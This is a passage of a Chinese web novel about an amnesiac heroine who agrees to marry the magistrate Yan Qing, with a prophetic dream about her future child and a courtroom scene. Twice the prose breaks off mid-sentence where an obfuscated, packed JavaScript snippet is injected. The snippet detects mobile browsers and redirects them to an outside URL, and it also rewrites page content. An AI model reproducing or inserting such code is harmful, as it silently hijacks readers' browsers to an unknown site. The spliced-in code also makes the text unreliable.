“我之前在光州看了他们的彩灯节,可热闹了。” 颜卿笑了笑。 也不晓得是笑我醉酒后说话的语气还是笑我居然几杯就醉了。 “一开始,光州的彩灯节本取名千灯节。你可知为何改了名?” 改名?好像确有此事,闻笙同我说过。 “好像是说,和别处的千灯节撞了名,所以改了?” “对。” 人流逐渐变多,颜卿拉近和我距离,手背不小心蹭到我的手臂,又立马收回。 “千灯节在信州已有千年历史,本是当地人过去祈求风雨的祭祀活动……” 后面颜卿还说了很多,但我一个字也没听进去。 眼睛始终盯着那只被我烫开的手。 等颜卿唤醒我时,自己不听话的手已经抵达对岸,握住了那只滚烫的手。 “牵……” 我沙哑着嗓子,抿了抿唇,抬眸望向他深邃的眼眸。 “夫妻,不该牵手吗。” 自知我失忆重生后,颜卿从不提及过去,也从不问我是否想起了什么,只是默默地照顾我,陪伴我,好像从来都是如此,没有谁离开,也没有谁忘记了过去。 颜卿整日忙于公务,只有休沐日得空陪我出远门。 “无聊无聊真无聊,医书看完看药书。抬头见花低见草,忽然想吃……花、生、糕。” 我抬了把竹椅放在房门口的院子里,背靠扶手腿挂椅背,百般无聊。 选了个最偏僻的房间,好处便是无人打扰,坏处便是过于清净。 除了走后门的人,几乎没人会从我这儿经过。哪怕我冲上大街,随机挑选一位幸运儿揍他一顿再回来,府上也是无人知晓。 “神器啊神器,快给点提示,让我干点什么吧。否则,我要成废人一条,原地腐烂发臭了啊啊啊啊……” 白梅步摇被我抛上天空,落下接住。抛起又落。 “你快显灵啊!否则我就把你拿去卖了!” 如此被我玩弄,神器依旧不搭理我。 “是不是换了个造型,你就变懒了?以前好歹还从梦里带点东西来,现在什么都没有。” 它还是不理我。 神器确实是现在的白梅步摇。 离开光州那天,闻笙交还给我的是那支与他亲制一模一样的青竹发簪。在见到孙寺之前,我特意把白梅取下揣进怀里,换成了闻笙送我的发簪。 步摇在怀中发出共鸣,那是神器才能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078508|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的。 意思就是,现在那支青竹发簪,就是一支普通的发簪。 是见我喜欢,方大仙特意留给我的吗。还是闻笙为我做了一支新的? 我猜是后者。 颜卿忙于公务的时候,我会溜出去,到勾栏瓦肆听戏喝茶。时间久了,一些常客也成了眼熟客。例如现在刻意与我拼桌的姑娘。周围明明还有空出的位置,她偏要坐我这一桌。 连续光顾此地五日的我,与这姑娘也打了五次照面。可我们从来没有正经说过话。直到今天,她主动与我搭话。 “你从信州府后门出来的,你是颜大人府上的丫鬟?应该不对。你这身衣服就注定你不是丫鬟,更何况,丫鬟哪儿有时间天天出来听戏的。没有胭脂味,却有股药草味。所以你是颜大人的……夫人?” 我看着她,陷入沉思。虽然不知道那句“所以你是颜大人的夫人”是如何得出的结论,但这是我们第一次交谈,她竟然对我的事了解这么多。 我一言不发,她谄媚地笑着说:“如果是的话,我想请夫人帮个忙。” “颜卿是清官,你找他帮忙,他不会拒绝的。” “正因为如此,所以才找你帮忙呀。” 我眼看着她从怀里取出一张纸递给我,上面写着的似乎是一位叫姜妍的姑娘的生辰八字。 “我不会算命。颜卿也不会。姑娘可以去清溪山问问。” 那姑娘笑着摆手。 “夫人误会了。我是希望夫人您看看,我的生辰八字配不配得上颜大人。” 我正要接过那张纸,手停悬在半空,心中五味杂陈。我本是想出来散散心,没想到会遇上这样的麻烦,这都什么事啊。我抬头看向那姑娘,她眼中闪烁着期待的光芒。 “姑娘找错人了……” “等等!” 她一把抓住我的手腕,指尖忽然轻轻拂过我手腕内侧的脉搏,动作极快,像是无意间的触碰,但我能感觉到她指尖的冰凉,仿佛在试探我的体温。她的目光在我脸上停留了一瞬,似乎在寻找某种迹象。 怪异的人,怪异的行为。我抽回手,尽量让自己的声音听起来平静。 “姑娘,追求爱情不是这样追求的。” 姜妍却不依不饶:“夫人,您就帮我看看吧,我只是想知道,我有没有这个福分。” 我叹了口气,将那张纸还给她:“姑娘,颜卿的婚事,不是我能决定的。” 姜妍的脸色瞬间变得苍白,眼中闪过一丝不甘:“男人三妻四妾再寻常不过的事。夫人这是不愿给颜大人纳妾吗?见不得别的女人嫁进信州府?” 我无奈捏脸捏眉心。 “姑娘,这是颜卿的婚事,他自有定夺。况且,我也不是颜夫人,你这样缠着我没有意义啊。” 姜妍突然抓住我的手,眼中带着几分哀求:“夫人,好夫人~整个信州谁不知颜大人是因为宠爱夫人所以不肯纳妾的。您就帮我这一次吧,我真的很喜欢颜大人。” 我看了她一眼,头涨得厉害,不想再说话。 姜妍得逞似的笑着把生辰八字强塞进我手里。 “多谢夫人!” “姑娘!姜姑娘!我真帮不了你啊……” 夕照瓦肆,我无暇再听台上的戏子唱的哪一出,手里的生辰八字莫名烫手,叫姜妍的姑娘已经离开好久。 揉成球丢掉会不会不太好?烧掉更不好了。 烦。 我单手撑着脸,那只茶盏压出姜妍的生辰八字。就放这儿了。 万一有人拿去做冥婚怎么办…… 啊啊啊啊啊啊!这都什么事啊! “怎么了?” 头顶传来温柔的声音,我抬起头,看见颜卿正俯身看着我。他刚从府上出来,官服已经换成月白色的常服,头发简单束在头顶,整个人显得清雅如玉。他的目光落在我愁眉苦脸的脸上,眼底带着几分关切。 我撇了撇嘴,可怜兮兮地望着他:“被欺负了。” 颜卿轻笑一声,在我身边坐下,修长的手指轻轻拂过我额前的碎发:“居然有人敢欺负楚女侠?我倒要听听怎么一回事。” 我将姜妍的事情说与他听,以及自己不知道那这张生辰八字怎么办而苦恼。 颜卿笑着手掌覆上我的手背。 “明天我让人还回去。走吧,回家吃饭。” 说罢,牵起我的手。 每天傍晚,颜卿都会亲自到瓦肆接我回家。一开始我牵他的手,他会一下僵硬住。时间久了,他也慢慢习惯,学会主动牵手手了。 “我听人说,颜大人这些年一直没有娶妻的打算。好多姑娘主动送上门你都不闻不问。” 十指相扣的手在两人之间晃动。繁华的信州街道人来人往。 “这月十五是个好日子。” 六月十五,确实是个好日子,月圆之日,春夏之交的天气,光是听着便给人一种恰到好处的温柔。 “是有什么喜事吗?” 我歪歪头,问颜卿。 他紧了紧攥住我的手,眉眼深情地看向我。 “我娶你,好不好?” 眼前弥漫着混沌的黑暗,未知的恐惧逐渐蔓延而上。 是梦吗?为什么这次的梦和以往的不太一样?为什么什么都看不见? 我茫然地思考着,下一秒,婴儿的啼哭声在寂静的黑暗中骤然响起,像是一把锋利的小刀,划破了夜的宁静。 “哇——哇——” 我循着声音的来源,在黑暗中摸索前行。 随着逐渐靠近,声音逐渐放大,黑暗中照进一束光,打在篮子里的婴儿身上。 小小的胸膛剧烈起伏着,粉嫩的嘴唇微微颤抖,眼泪顺着红扑扑的脸颊滑落。那哭声里带着几分委屈,几分不安,还有几分对这个世界的好奇。 我站在远处,静静地看着她。 忽然,黑暗中走出一名女子,她背对着我,弯下腰抱起哭泣的婴儿。她轻轻拍打着婴儿的后背,哭声渐渐弱了下来,变成了断断续续的抽噎。小小的身子一抖一抖的,像是受了天大的委屈,终于躲进母亲的怀里。 我为什么会梦到这样的场景?那孩子是谁?那女子又是谁?方大仙是不是引错梦,把别人的过去调换到我的梦境里。 我歪歪头,想要绕到女子的正面看得更清楚一些,至少看看那张脸是不是我认识的。 可无论我怎么走,始终无法走近她们。 “这不是过去发生的事。” 忽然,方大仙毫无征兆地出现在我身边,眼底尽是温柔,看着那名女子和她怀中的孩子。 “不是过去?那就是以后咯?” “取个什么名字好呢。” 大仙的声音越说越轻,越说越温柔,宠溺快要溢出。 我看看他,又看看远处。 “那是你夫人和孩子?” 冷不丁,他瞪了我一眼。 “耳朵长哪儿去了?这不是过去发生的事。那个人……” 方大仙领着我绕到那女子的正面。明明我如何走都无法到达的对岸,跟在他身后,没几步路便抵达。 我深呼吸,尽量让自己心静下来,不被眼前看到的画面所惊掉下巴。 那个人,是我。 我揉了揉双眼,不可思议地看着眼前的一幕:那个抱着婴儿的女子,分明就是我自己。 她的眉眼、她的轮廓,甚至她低头时微微蹙眉的神态,都与我如出一辙。只是她的眼神更加温柔,带着初为人母的喜悦与疲惫。 “这……这、我……啊?我的孩子?谁的?捡的?我生的?这……” 我语无伦次地说着,感觉自己的世界观在这一刻彻底崩塌。 方大仙轻轻拍了拍我的肩膀,示意我冷静。他的目光落在那对母子身上,眼底闪过一丝复杂的情绪。 “这是你的未来。”他轻声说道。 我呆呆地看着“自己”怀中的婴儿,那小小的身子裹在柔软的襁褓里,粉嫩的小脸皱成一团,正发出细弱的啼哭声。那声音像是小猫的呜咽,又像是清晨的露珠滴落,清脆中带着几分稚嫩。 “孩子……我和谁的孩子?颜卿的?还是,下一个男人的?”我喃喃自语,声音里带着几分不确定。 方大仙没有直接回答,而是反问道:“你希望是谁的?” “只要别是什么山大王海盗劫匪之类的就行。” 黑暗中,方大仙无奈地叹了口气。 “你准备好成为一名母亲了吗?” 我愣住了。这个问题太过突然,我从未认真思考过。看着“自己”温柔地哄着怀中的婴儿,我突然感到一阵莫名的悸动。那是一种从未有过的感觉,像是心底最柔软的地方被轻轻触碰。 “我……”我张了张嘴,却不知该如何回答。 方大仙似乎看穿了我的心思,轻声说道:“我一直认为,你是永远长不大的孩子,担负不起这样的重责任。可神器引出的梦不会出错。” 我转头看向他,发现他的目光依然停留在那对母子身上。他的眼神温柔得不可思议,仿佛在看着世界上最珍贵的宝物。那是父亲看女儿的眼神,满眼的宠爱。 “大仙。”我犹豫了一下,还是问出了口,“你就是我爹吧。之前叫你爹的时候,你都没有反驳,接受得很自然。” 方大仙的表情突然变得有些古怪,他轻咳一声,避开了我的目光。“这个嘛……”他的声音里带着几分尴尬,“还是等你恢复记忆,自己去发现吧。” 我笑了笑,还想再问些什么,眼前的画面却突然开始模糊。 梦要醒了。我又会忘记眼前的一切。 方大仙的声音渐渐远去。 “这次,顺从你的心意去抉择吧。” “我没明白。” “凡人的寿命短暂,莫要负了真心……” 21. 晓妆初过 信州府的衙门前,几株高大的槐树正开满了白色的花朵,花香随着微风飘散,引来几只蜜蜂在花间忙碌。树下的石凳上,偶尔有行人驻足歇息,享受着清晨的宁静。衙门的屋檐下,几只燕子正在筑巢,叽叽喳喳的叫声为这座城增添了几分生机。 我站在府门外懒懒伸了个腰,等着一抹墨绿色身影从街角处出现。 “你是谁?怎么站在信州府门口?”一个清脆的声音响起。 我看向声音源头,台阶之下,三位衣着鲜艳的少女叉腰而立,一人手里攥着一封信,脸上带着几分好奇与戒备。为首的少女穿着一身淡粉色的襦裙,眉眼间带着几分傲气,上下打量着我。 “你们又是谁?来报案的?”我微微挑眉,语气平静。 “我们是来给颜大人送情书的。”粉衣少女扬起下巴,语气中带着几分得意,“你——难道也是?” 她的目光在我身上扫过,眼中闪过一丝不屑,仿佛在说:就她也配。 我无所谓地耸了耸肩,往旁边挪了挪,给她们让出一条路。 “我不是来告白的。你们请。” 粉衣少女轻哼一声,拾阶而上。走到登闻鼓旁其中一位突然捞起鼓槌,准备击鼓。我眼疾手快,立刻伸手拦住。 “诶诶诶!这是伸冤用的,可不能乱敲!” “不敲颜大人怎么会出来。”那少女撇了撇嘴,语气中带着几分不耐烦,“你起开。” 我挡在鼓前,语气坚定:“不行不行!你们这是妨碍公务!况且胡乱击鼓是会被杀头的!” “颜大人才不会杀我们呢。”粉衣少女不以为然地说道,眼中带着几分轻蔑,“他可是信州府最温柔的官,怎么会因为这点小事就杀头?你好烦啊,妨碍我们做事。假装什么都不晓得,一边呆着去。” 现在的小姑娘脾气都这么古怪吗。目中无人,还无视法律。 我无奈地叹了口气,正想再劝,忽然听见不远处传来一阵沉稳的脚步声。转头望去,颜卿正好回府,一身青色官服,衬得他愈发清俊。他的目光落在我身上,眼中带着几分温柔,随即转向那几位少女,语气温和却带着几分威严。 “几位姑娘,是有要事禀告?” 粉衣少女的脸瞬间红了,小碎步跑到颜卿跟前,连忙将手中的情书递上,声音也变得矫揉造作起来。 “颜大人,这是小女子的生辰八字,请您收下。” 颜卿轻蹙眉头,目光不看面前的姑娘反而落在我身上,唇角微微上扬。视线重回眼前人时,他背过手语气严肃。 “无事胡乱击鼓是重罪,还望三位姑娘以后不要再犯。本府谢过姑娘们的好意,只是……” 他笑着目光转向我。三位姑娘也随着他的视线一同看向我。 “这位,是我夫人。” 三位少女愣在原地,随即目光在我和颜卿之间来回扫视,脸上露出几分尴尬。粉衣少女咬了咬唇,低声说道:“小女子不知颜大人已有妻室……是我们失礼了。” 匆匆行礼后,三人落荒而逃。 我走下台阶站在颜卿身旁,看着她们远去的背影,忍不住笑出声。 “颜大人果然魅力非凡,信州府大部分姑娘都想把生辰八字当情书送给你吧?” 颜卿转头看我,眼中带着几分无奈。 “还好有你在。以后可以名正言顺地拒绝了。” 我笑着摇头。 “合着我成你桃花运的挡箭牌喽?” 颜卿握住我的手,轻轻捏了捏我的指尖。 “有你一朵桃花便足够了。” 我脸一红,低头避开他的目光。 “油嘴滑舌。都跟谁学的……” 颜卿轻笑一声,牵起我往府里走。 “你啊。” “我没教过,我可不会撩人。” 午后,阳光变得炽烈起来。街道上行人稀少,只有几只懒散的猫儿躲在屋檐下的阴影里打盹。 后院的凉亭里,耀眼的光透过藤蔓的缝隙洒下来,在地上投下斑驳的光影。石桌上摆着一副棋盘,黑白棋子错落有致。我执白子,管家执黑子,桂花则在一旁为我们倒茶观战。 “啪——” 清脆的棋子落盘声响起,我又输了。 这已经是今天输给管家的第三局,三连败。我不服气地收起棋盘上白色的棋子,眉头微皱。 “再来。” 管家笑着收回黑子,动作表情从容不迫。 “夫人是初学者,不必急于一时。更何况,下棋讲究心静。只有心沉下来,才能看清棋局的走向,判定该走哪一步。” 我浅浅笑着,语气中带着几分倔强。 “放心,多输几局,我的心自然就凉了。” 桂花在一旁轻笑出声,将一杯热茶递到我手边:“夫人,喝口茶,歇会儿再下吧。” 我道谢接过茶盏,轻轻抿了一口,茶香在口中弥漫,带着几分清甜。我抬头看向管家,眼中带着几分不服:“再来再来,这次我一定赢。” 管家笑着点头,重新摆好棋盘:“夫人请。” 我执起白子,目光在棋盘上游移,试图找到破局的关键。然而,管家的黑子却总是能在我落子后迅速占据优势,仿佛早已看穿了我的每一步。 “啪——” 又是一声清脆的落子声,我的白子再次被围困。 不会吧,这次输得也太快了! 我叹了口气,放下手中的棋子:“又输了。” 管家微微一笑,语气温和:“夫人不必气馁。下棋如人生,需得步步为营,方能立于不败之地。” 我抬头看他,眼中带着几分疑惑:“可我怎么总觉得,你每一步都算准了我的心思?” 管家捋了捋胡须,笑道:“夫人虽有下棋的天赋,但败在心浮气躁,自然容易被看穿。若是心静如水,沉下心来,老夫也未必能占得上风。” 我若有所思地点点头,低头看着棋盘,心中渐渐平静下来。桂花又为我添了一杯茶,轻声说道:“夫人,不如歇会儿。要不要吃糕点?” 我点点头,端起茶盏咬下一口芝麻糕。凉亭外,微风拂过,带来一阵淡淡的花香。我深吸一口气,心中那股不服输的劲儿渐渐消散。 “管家,”我轻声说道,目光落在棋盘上,手中捏着一枚白子,“颜大人喜欢下棋吗?” 管家捋了捋胡须,眼中闪过一丝怀念:“大人精通琴棋书画,闲暇时,就爱这一手。” 我放下手中的棋子,抬头看向远处的光影,心中泛起一阵恍惚。 “以前……”我低声呢喃,仿佛陷入混沌的回忆,“我是不是和他,也在这里下过棋?” 凉亭里一时陷入了沉默。管家和桂花相视一眼,脸上露出几分为难的神色。桂花轻轻放下茶壶,低声说道:“大人担心……” 我收回目光,笑着看向他们:“不必担心我,我早习惯了。”我的语气轻松,却带着几分释然,“相比一无所知,我更好奇以前的我和颜卿是怎么相处的。给我讲讲呗?” 管家叹了口气,目光落在棋盘上。 “夫人和大人以前,确实常在这座凉亭下棋对诗。大人棋艺精湛,夫人却总能出其不意,赢上一两局。” 我听着管家的话,脑海中仿佛我与颜卿对弈的画面。颜卿坐在我对面,手中捏着黑子,目光温柔而专注。我则执白子,眉头微皱,思索着下一步的走法。凉亭外,是春风,是夏雨,是秋叶,是冬雪。 “那时候,”管家继续说道,“大人和夫人也爱对诗。大人出上句,夫人接下句,两人你来我往,常常引得我们这些府中下人驻足聆听。” 我低头看着棋盘,心中泛起一阵酸楚与温暖。那些记忆虽然模糊,却仿佛带着某种熟悉的气息。我轻声问道:“那……我们下棋时,颜卿会让我吗?” 桂花笑了笑,语气中带着几分调侃:“大人倒是想让,可夫人不肯,还责骂大人耍赖,非要凭自己的本事赢他。” 我忍不住笑出声,眼中带着几分怀念:“看来,我以前还挺倔强的。” 桂花在一旁轻声说道:“夫人不在的这几年,大人棋也不下了,诗也不作了,整日忙于公务,头发都白了几根。” 我抬头看向凉亭外的天空,心中泛起一阵酸涩。 “管家,”我轻声说道,“再来一局吧。” “啪——”清脆的落子声再次响起,这一次,我终于在管家的黑子中找到了破绽。 管家看着棋盘,点头赞许:“夫人果然进步神速。” 我笑着放下手中的棋子,心中满是成就感。 桂花在一旁笑着为我们添茶:“夫人骨子里有下棋的天赋,果然一点就通。” “嗯。”我欣喜着欣赏已成定局的黑白之界,“颜卿也该体验一下娱乐生活了。对了管家,麻烦今天的晚膳端到这儿来吧。” 夜幕降临,街边的灯笼一盏盏亮起,昏黄的光晕洒在青石板路上。千灯节将至,城中已有了节日的气氛。酒楼里传来阵阵丝竹声,城外的田野蛙鸣此起彼伏。 二堂内,颜卿正伏案疾书,眉头微皱,手中的笔在纸上飞快地游走。我走到他身边,他竟毫无察觉。二话不说,直接将他从座位上拎起来。 “颜大人呐,再忙也要吃、饭、啊!” 颜卿被我突如其来的动作吓了一跳,手中的毛笔差点掉在地上。他抬头看我,眼中带着几分无奈与宠溺。 “抱歉,本想着只差一点,很快处理完的。久等了吗?” 我撇了撇嘴,语气中带着几分不满。 “不久不久。不过菜已凉,吃不到热乎劲儿了。” 颜卿轻轻握住我的手,语气温柔。 “马上入夏,菜凉一点也无妨。” 我瞪了他一眼,却也没再说什么,拉着他快步走回凉亭。桂花又将凉掉的饭菜重新热了一遍,点燃了后院的灯。 月牙儿悬在夜空,光洒在后院的秋千上,映出一片银色的光辉。我们并肩坐在秋千上,荡起又落下。 “那日在街头问你的话,考虑得如何?”颜卿轻声询问,语气中带着几分期待。 我假装思考,抬头看向天空中的圆月,嘴角偷摸勾起一抹笑意。 “六月十五,月圆之日啊……” 颜卿微微一愣,随即眼中闪过一丝失落。 “抱歉。明明刚认识不久,我竟敢……” 我转过头,看着他眼中的光芒,心中泛起一阵欣喜。 “是啊。颜大人拒绝别家姑娘的时候,可说的‘我与姑娘不过一面之缘。相守一生之人还是知根知底得好’。” 我学着颜卿的语气,模仿管家跟我讲的,他过去拒绝别家姑娘的话。 颜卿的唇角微微上扬,低垂看向月影下的两个人。 “是啊,明明只是初见……” 我晃荡着两条腿,仰望头顶的月。 “你信一见如故吗?” 颜卿转头看向我。 “我见你一见如故,一见倾心。我猜,是因为从前的缘故。我的直觉告诉自己,‘这次,顺从你的心意去抉择吧。莫要负了真心。’。” 我站起身,走到颜卿面前,他也抬头看我。 “颜卿。” 我抓起他的手,握在手心。 “六月十五,是个好日子。你娶我,好不好?” 颜卿低下头,再抬起时脸颊通红,眼角泛着泪光,眸中满是深情。 我脸一红,垂眸避开他的目光。 颜卿轻笑一声,起身靠近,伸手轻轻抬起我的下巴,目光温柔得几乎要将我融化。 “好。” 我看着他眼中的光芒,心中再次泛起一阵欣喜与感动。月光洒在我们身上,映出两道交融的身影。这一刻,仿佛整个世界都安静了下来,只剩下秋千的轻响和微风拂过的声音。 像一片羽毛落上我的唇,属于他的气息裹挟着我。我伸出双臂揽上他的脖颈,主动撬开他的双唇,打他个措手不及。 他经不住刺激,下意识想躲,我收紧双臂,不许他逃。 应是默许了我的任性,他索性将手放在我的腰间,扶着我腰贴近他。 喘息间,我撞进他深色的眸子里。 “颜大人不是第一次吧?” 他修红着脸回答:“第二次。” 我稍稍抬眉打趣,“那第一次,一定也是我。” 他笑着再次吻上我。 五月末的信州,正值春末夏初,整座城仿佛被一层温柔的薄纱轻轻笼罩。清晨的阳光透过薄薄的云层洒下来,将青石板路映得微微发亮,空气中弥漫着淡淡的花香和泥土的清新气息。 城中的街道两旁,柳树的枝条已经长得茂密,翠绿的叶子在微风中轻轻摇曳,仿佛在低声诉说着季节的更替。早市的小贩们早早地摆开了摊子,新鲜的蔬果堆得满满当当,空气中飘荡着刚出炉的包子香气和茶叶的清香。街角的茶摊上,几位书生正悠闲地品着早茶谈论新作的诗词,茶香袅袅升起,与晨风交织在一起,带来一丝清凉。淡蓝色的裙摆随风浮动,心情也随之飘飘然。 这就是岁月静好吗。 难得不被击鼓鸣冤的声音吵醒,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078509|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然醒后,我跑到大街上,四处寻找在街上巡访的颜卿。静静地跟在他身后,等他工作告一段落后,要他陪我在街市上吃一顿丰盛的早膳。 “府上的早膳不合胃口吗?” “绝对不是!张厨的手艺非常好!偶尔也要换换口味嘛。来信州半个月,也该体验一下信州远近闻名的油条包麻糍啦。” 临街简易的摊铺,老板随意支了两张桌子,我和颜卿相对而坐,看着老板一步步制作每美味。油光蹭亮的面条拉扯开缓缓放入油锅,等油条定型后捞出。老板娘见油条从锅中捞出,立马拿出热乎乎的麻糍平铺在油条中间,撒上白糖和芝麻,完成。 我馋这口馋太久了。这家铺子是桂花推荐的,说味道是她吃过最好吃的,不甜不腻。 一口咬下,我差点又原状送出口。 好烫! 颜卿笑着摇头,将他吹冷的豆浆推到我面前。 “不着急。喜欢吃,我们下次再来。” 不愧是桂花的推荐,非常合我胃口。糯叽叽的麻糍软糯绵密,清香微甜。尤其是油条!我就喜欢吃脆脆的东西。 清晨的阳光透过薄薄的云层洒在信州城的街道上,青石板路被晨露打湿,泛着淡淡的水光。相比我直接用手拿着吃,颜卿知书达理多了。只见他修长的手指捏着筷子,夹起一块,一口咬下细细品尝,咽下后再端起豆浆,动作优雅从容。 “想好选择哪一家了吗?” 颜卿放下筷子,抬眼看向我,目光温柔而专注。 “嗯,就选西街那家。他们家裁缝一看就靠谱,不像南街那家,都不知道我在说什么。” 颜卿微微一笑,伸手将我额前一缕散落的发丝别到耳后。 “好,我陪你。” 我愣了一下,随即摇头:“你下午不是要去地柱村吗,忙你的吧,桂花陪我就行。” 颜卿的目光依旧落在我脸上,眼中带着几分笑意:“我也想看看自己的婚服。” 我忍不住笑了,语气软下来。 “那——我陪你去村里,办完事情我们一起去。” 颜卿的唇角微微上扬。 “好。” 出了城门,去往地柱村的路上会经过一大片田野,稻苗已经长到了膝盖高,嫩绿的叶子在阳光下泛着油亮的光泽。萦绕在山峦的晨雾逐渐散去,山间的溪水潺潺流淌,水面上泛着细碎的波光,映出天空的湛蓝。偶尔有几只白鹭从水面上掠过,翅膀拍打着水面,溅起一串晶莹的水珠。 欣赏风景一会儿的功夫,颜卿的事情置办妥当,在村民的拥护下牵着我上马车。 “颜大人的办事效率竟如此之高!”我放下车帘,转头看向他,语气中带着几分调侃,“是上次公堂上说他家娘子喝了村里的井水肚子疼那件事吗?” 颜卿点点头,将公文放在一旁,语气平静。 “嗯。经过调查发现是同村一男子故意往井里下了种让饮水人腹泻的药。犯罪者已在关押在监狱,今天来是看看之前汪晟送的解药是否有效。” 我沉吟片刻弯起眉眼,戳了戳颜卿的脸颊。 “我现在明白为什么这么多姑娘争着抢着要嫁给你了。” 颜卿轻挑眉反问。 “为什么?” 我掰着手指数给他听。 “生得好看,办事效率高,为人亲和。”我顿了顿,语气中扬起几分得意,“只可惜,她们都没机会啦。” 颜卿轻笑出声,放下公文握住我的手,我也笑着靠在他肩上。马车内,气氛温馨而宁静。我抬头看向颜卿,发现他正注视着我,眼中满是深情。我们相视一笑,仿佛马车的喧嚣与我们无关。 “颜卿。” “嗯?” “我突然……想在这里……” 肉眼可见,他的脸上快速染上红晕,眼神迷离,四处张望。 我抿唇偷笑,不自知的手缓缓伸向他的腰间,但被他半路拦截。 “我穿着官服呢。” “然后呢?”我不以为然。 “咳咳。”他轻咳低声温柔地责备,“官服在,职责在。” “那你现在脱了。” 说罢,我一把抓住他腰间的革带。 一瞬间,他突然捏住我下巴,迫使我抬起头,然后劈头吻住我的双唇。 漫长的吻让我险些无法呼吸。 等他离开时,眼前忽暗忽明,我扶着额靠上他的肩头。 “你耍赖……” “没办法,对你,只能用这一招。” “哼,颜大人学坏了。” “多亏楚先生教得好。” “哼,今晚我回自己房睡。” 西街的裁缝铺里,阳光透过雕花的窗棂。铺子里摆满了各色布料,丝绸、锦缎、纱罗,琳琅满目,色彩斑斓。颜卿和我并肩站在柜台前,裁缝铺的老板正热情地为我们介绍着最新的布料。 “夫人您看,这匹云锦,可是从江南新进的货,质地柔软,色泽鲜艳。”老板指着一匹绿色绣着祥云纹样的锦缎。 我伸手摸了摸那匹锦缎,触手温润质地细腻,确实不错。我转头看向颜卿。 “你觉得如何?” 颜卿微微一笑,目光温柔:“挺好。你喜欢便定下吧。” 我点点头,对老板说道:“那就这匹吧。” 老板笑着点头,随即拿出钞尺,开始为我量尺寸。他一边量,一边笑着说道:“夫人和大人真是天造地设的一对,这婚服做出来,一定羡煞旁人。” 我低头看着老板手中的尺子,心中泛起一阵甜蜜,却又有些担忧:“老板,只有十天时间,来得及吗?” 老板拍了拍胸脯,信誓旦旦地说道:“夫人放心,我们铺子里的师傅绝对是信州手艺最好的,保质保量完成。”说着他又轻叹了口气,多了几分感慨,“这可是整个信州府等了八年的婚礼呢,到时候一定热热闹闹的!” 等了八年的婚礼……莫非这八年,颜卿一直在信州?放着功名利禄不去争取,守着一处只为等我回来吗? 我垂眸,默默等老板量完尺寸。 颜卿早已量完在门外等我,见我进去还好好的,出来时脸上多了层阴霾,不禁担忧起来。 “可有什么不满意之处?” 我摇头。 “不是的。只是感慨,你竟然为了区区一个我,足足等了八年。” 颜卿以为我会说什么大事,一听是此事,扬了扬唇角牵起我的手。 “哪儿是区区一个你,是,正因为是你。我答应过你的,第一次是你,以后的每一次都是你。” 22. 雨晴烟晚 “堂下何人?” “小民李四,三口村人,今早在自家牛棚里干活,竟发现里面躺了个陌生女子。小民正要上前询问,没想到这姑娘二话不说就揍了小民一拳!” 李四跪在堂下,额头紧贴地面,声音颤抖,带着几分委屈和惶恐。他双手微微发抖,似乎还在回味那一拳的痛楚。 公堂上的知县转而看向我。 “被告何人?为何躺在别人家牛棚里?” “他乱讲!颠倒是非!” 我站在堂中,直视着堂上的知县,紧握成拳,眼中闪过一丝愤怒。 “那你说,怎么一回事?” 温柔的语气似是安抚我委屈愤怒的心。我也沉下心来,瞪着跪地上的李四。 “我确实躺在他家牛棚,是我先不对。但他哪是来询问,二话不说就要扒我衣服!这是猥亵!为求自保,我当然要揍他了。” 我微微侧身,指向李四,眼中满是鄙夷和不屑。 李四猛地抬起头,眼中满是焦急和恐惧。 “小民绝对没有!颜大人给小民做主啊!这姑娘一看就是外乡人,谁晓得她躲进小民家牛棚是想干嘛!” 他的声音中带着一丝哭腔,显得格外无助,仿佛受了天大的委屈。堂外围满了当地百姓,见我是个异乡人,纷纷把矛头指向我。 “好了,本府自有定夺。你,叫什么名字?” 他看向我。我心虚地错开眼神。 “我没有名字。” “没有名字?” 知县微微皱眉,目光如炬地盯着我。他指尖轻轻敲击着案几,似乎在思索着什么。 “大人你看!她做贼心虚,连名字都不敢说!” 李四突然激动起来,指着我的手指微微发抖。他的眼中闪过一丝得意,仿佛抓住了我的把柄。 “再说一遍我没有!” 我怒视着李四,眼中几乎要喷出火来。 “安静!” 颜知县猛地一拍惊堂木,声音如雷贯耳。堂下顿时鸦雀无声,李四低下头,不敢再言语。我冷哼了声,双臂交叉抱在身前,转向一边。颜知县的目光在我们之间来回扫视,似乎在权衡着什么。 “接下来我有几个问题问你,你要如实回答。” 他是在问我。 “你为何出现在他家牛棚?” “我受伤了,为了躲避追击,所以躲进了他家牛棚。” “什么时候?” “昨天晚上。” “你说他想猥亵你,可有证据?” “他刚要扒我衣服我就先揍了他,没有证据。不对……我的发簪……好像不见了……” “好,本府知晓了。” 堂内的气氛紧张而压抑,仿佛连空气都凝固了。李四的额头渗出细密的汗珠,我的拳头依然紧握,指节发白。颜卿缓缓站起身,目光如炬,仿佛要看穿我们内心的每一个角落。 “李四,如果这姑娘说的是实话,就算她揍了你,你依旧有罪在先。”颜知县的声音低沉而有力,带着不容置疑的威严,“所以,事实到底是怎么一回事?” 李四一愣,随即慌乱地摇头:“小民……小民真的没有……” 颜知县又将目光转向我:“你说你受伤了,牛棚可还留有你受伤的证据?” “……有。”我深吸一口气,努力平复心中的愤怒和不安:“草堆下,有血。不出意外的话,我的发簪也在那里。” 李四显然没想到这一点,脸色瞬间煞白,目光呆滞。 